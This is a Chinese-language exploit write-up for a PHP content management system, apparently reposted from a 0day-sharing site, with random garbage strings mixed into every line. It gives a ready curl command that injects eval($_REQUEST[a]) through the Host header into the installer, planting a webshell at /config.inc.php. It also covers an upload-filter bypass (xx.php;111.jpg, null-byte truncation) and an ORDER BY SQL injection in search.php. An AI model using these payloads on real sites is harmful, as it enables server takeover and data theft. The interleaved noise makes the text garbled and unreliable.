注入:# \) W1 b, {7 z. h
4 T4 [) V# l ~+ w4 ?之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
; D: R4 ]& k. Y. d* R: e
; R* `) U, W- d& `" i. M. J% T5 V鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
7 j% P1 g, c o; H$ m5 ?. u鸡肋2: 有一定安全常识的站长都会删掉 install 目录
" ]; Q" [. F- I) w) N! U9 q3 [
! b8 p$ M" X8 W. s0 F虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
. j& |$ S# V2 a: _ ) H& \* g% D/ o7 e# b
分析:# Q! S) O Q& B' Y0 h$ [
3 n8 }. r# Y; M; q" s7 O0 l3 j
, Z" w+ P5 d) H" t% _/ _$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤. l. }; V, }7 N. j
2 K/ n% ]! B; N3 m/ _& @- @ $filestr = fread(fopen($SysConfigFile, 'r'),30000);
9 K, c7 v9 j: G$ B7 t" _/ z $filestr=str_replace(" ","",$filestr);; c. v* @6 G$ q5 V: A! J
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);3 s- p) z ?, G5 K
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
8 n% p) z) Q" ]! x8 _ $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);: p4 U6 ]# i" ]" q( C3 x. b
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
% d- v( |: r; i $filestr=str_replace("DefaultsLan","zh_cn",$filestr);$ ]6 s' P2 p* u8 A/ g9 B
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
+ r6 O9 N& ^, o2 f5 I. g $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);. E) a4 _$ a3 N8 [/ g0 ~0 Q% P
/ W8 e4 [' H; j. W% s7 m% f
fwrite(fopen($ConFile,"w"),$filestr,30000);( g% u/ O6 g& H8 k5 u2 L# ~
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
3 |! y& {5 b! M9 H. i. Z
1 h+ b3 A0 ~3 Ppoc:2 E" `4 p/ Z9 e7 A: X7 j+ o+ {! V
% s6 s# d7 @9 \' Y6 T6 J6 ^- y?, x( x& A l( D6 X
10 r2 H/ d$ ^! D, D" G4 V/ E
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"+ n1 C4 @* g9 g$ \, g
shell地址: /config.inc.php
7 }; r# o5 v/ @3 [$ {跟之前的 phpcms一样 需要远程数据库: x5 N0 ^: Z' g( i9 H' h
" @$ m" {: d5 T0 c% q/ M& D——————————————————–
, U/ w% v; q& S9 Q; a$ Q' z! M& y上传漏洞(需要进后台):& \. p& A; u @4 q' i# [
漏洞文件: /kedit/upload_cgi/upload.php# v8 Q* N0 a! e9 f# F
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用2 X; C" G8 y! m
8 l* h7 y0 j/ ~
: E$ U. n% _; [7 ?# F<?php9 W2 a- Y+ U7 [/ N( o3 [
define("ROOTPATH", "../../");) ^! G% p w+ n, V& d# u* C
include(ROOTPATH."includes/admin.inc.php");+ W8 s4 a9 U d& Z. c' G; B2 Z o5 j8 \
NeedAuth(0);
5 [: @: Z# V9 O2 d
0 R* e2 T; D7 a6 L+ Q" x7 Y $dt=date("Ymd",time());- K6 k4 i; m. M. N7 f
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){+ D% ~9 ]4 x! v
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
& c* ], g9 X0 f }
; \) Z! d) h) y+ ^# B7 O6 N- z
- a" d8 l5 s2 q$ n/ U& j) N- q //文件保存目录路径2 q- |5 r$ d" R# B7 y/ c
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';8 R4 \; P4 s' H1 H) H( ]
echo $save_path;/ h0 B+ s( ]% w. Q- o; x; i O# b
//文件保存目录URL
2 W1 {7 Y3 x% V, } $save_url = '../../'.$_POST['attachPath'].$dt.'/';
' d# r, _1 N# D1 i. C6 p ' Y& b6 \. \: _8 k1 I* F( p$ l
//定义允许上传的文件扩展名
7 [4 f! J \+ E $ext_arr = array('gif','jpg','png','bmp'); //限制后缀6 o6 W8 H9 Z L) t3 l/ R
7 Q, Q0 ^, r, N, b
//最大文件大小
, m! U+ S) S( B $max_size = 1000000;
4 H, R4 v% t; f$ \, R7 W6 i' s 3 p+ F0 Y# L6 e" l$ C5 D
//更改目录权限( Y0 S- G6 \: r$ Z0 R
@mkdir($save_path, 0777);: d8 a: t V! R
) Q7 C1 P, z1 `( F! h" j* s9 U //文件的全部路径, [. [' o1 ~# ]
$file_path = $save_path.$_POST['fileName']; //保存文件名/ Y9 P! X# ]4 [ ?8 U6 @
; r! c* Z$ e* o$ B0 Y //文件URL
" B+ q+ g4 }) i5 \# G1 f $file_url = $save_url.$_POST['fileName'];
6 X/ K) G$ y0 r1 C: l) t- R3 U8 o//有上传文件时
4 ~% V( a: b2 p if (empty($_FILES) === false) {+ a8 n0 c$ z- _% T4 i
1 Q' m* k3 j5 t5 L8 T0 \5 l1 r //原文件名- u* b! _# ?* f7 T o' z) }
$file_name = $_FILES['fileData']['name'];' x( k5 w L9 u2 H6 f- ?
//服务器上临时文件名$ I& Q" H/ ?1 [ ~! T/ H
$tmp_name = $_FILES['fileData']['tmp_name'];% i0 i$ s: h, L/ T2 }3 y) A
//文件大小2 H: o6 `; C. Y7 b) T4 W. y
$file_size = $_FILES['fileData']['size'];
" p* W, Q) W9 ]7 ]4 ]( ^, M //检查目录
1 n& L! R, r( F K if (@is_dir($save_path) === false) {- M+ W, U; ^9 f( r
alert("上传目录不存在。");
2 G! E( Q2 ]& _) |6 a6 q4 o }
o+ b! `+ a& `$ F* K //检查目录写权限) u e8 f/ l. v. @% S
if (@is_writable($save_path) === false) {
& f$ \$ ~0 K! }$ h0 ]' I alert("上传目录没有写权限。");
$ p) H4 R4 X9 v* Q, r; j }& h& z# m- I! ]; N0 k
//检查是否已上传
. [$ _- [" b3 [1 p/ J if (@is_uploaded_file($tmp_name) === false) {
2 L1 l4 G& \. U/ o; R3 ~ alert("临时文件可能不是上传文件。");/ Z' n9 F: x3 A/ \( d
}* f; w! D, |1 f, L8 j. F: z' v% f
//检查文件大小! M, ^, Y5 G) N o
if ($file_size > $max_size) {
9 j- S1 b2 X+ j( u, h$ }0 {# ` alert("上传文件大小超过限制。");& K" l9 l, |" \/ j x
}
2 Q( J& P/ W* k: Q7 y7 ] //获得文件扩展名- w7 q3 F$ W- t0 }' b2 D
$temp_arr = explode(".", $_POST['fileName']);
: j+ ]1 K3 |) Q9 e8 J: {: c) u0 t $file_ext = array_pop($temp_arr);
/ v6 r7 u' d+ X7 a0 O- d $file_ext = trim($file_ext);6 P7 e5 y9 a. Y9 ^/ R$ C* _( I- s
$file_ext = strtolower($file_ext);$ y* \+ b5 z& [- r
/ O; {& A8 l: Z* [ U* s9 K: l
//检查扩展名
: |& b v* z G4 `) G( m if (in_array($file_ext, $ext_arr) === false) { 0 U2 G* k# t- \2 F
alert("上传文件扩展名是不允许的扩展名。");
- D5 ] N, y. w5 N9 g! b2 K }
% F& D- Q! A( R- R ' K9 a, F# k& Y
//移动文件 9 i5 F5 z/ ~1 N7 O
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
" L) _7 u) U" C% ^! l+ A$ u/ a: g& P if (move_uploaded_file($tmp_name, $file_path) === false) {
# M1 m7 L% c* ? alert("上传文件失败。");; E! `8 l5 M1 X) j+ H+ z1 S
}
/ q6 n p, u. Y# n0 G) s5 S% S/ \
* k ` [: j& V7 d) _' q+ s& n @chmod($file_path,0666);6 H. H | {* n$ v# i
8 n* ~6 w4 B9 |" q# K ?>/ E# C. ]/ G0 s7 Z9 i! i8 J: w2 d: w
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2275 y& `, V( Z3 h6 F2 U
' e8 U6 @' N7 l2 @& O
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
. g6 x* O& f7 `# f8 i( c g
( z8 s% v* j# y; S3 W——————————————————
; E2 l6 ]7 ?$ v. G- H# e# H. @注入漏洞:
+ x* z: g% N+ V0 K漏洞文件:search/module/search.php
* X+ k6 v% U* ]; u/search/index.php?key=1&myord=1 [sqlinjection]
2 q8 d) T" d6 e y* A
' J4 C" r9 f7 n* @7 b ) l3 M. O$ l! b" P& v( q" K; j% O
<?php
$ t. o# c; z: X5 r. m0 c3 N D // ... 省略 n 行...& y0 z9 M' M4 y
//第18行:
" P, M5 w* P7 `1 `( f0 Q s $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响! s0 N6 @: S( f& m
$page=htmlspecialchars($_GET["page"]);3 C6 s% c4 I9 `/ P9 @8 \
$myord=htmlspecialchars($_GET["myord"]);
$ N8 L0 @ Q! e8 x* [# c9 n ~: c
, Y+ ~! K" m4 x( _( V // ... 省略 n 行...1 c* @5 k8 l, v( h" i& I8 v
$key,$myord 两个参数带入查询
5 q6 B% x" c- t //第47行 $key:
. x# Z! J! J3 K; o
/ o! p7 | `- Q+ Y, [ $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
* i0 m5 t- D$ T, i& r8 l7 j
/ T; s S# u9 R+ K- J& B //第197行 $myord& g' p! v. x4 _7 D. {
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
% a8 Q0 F+ q: Y; F
' y F" u& o/ d, Z- g- o6 N, C ?>3 t) ^6 O" x9 O2 h* _
|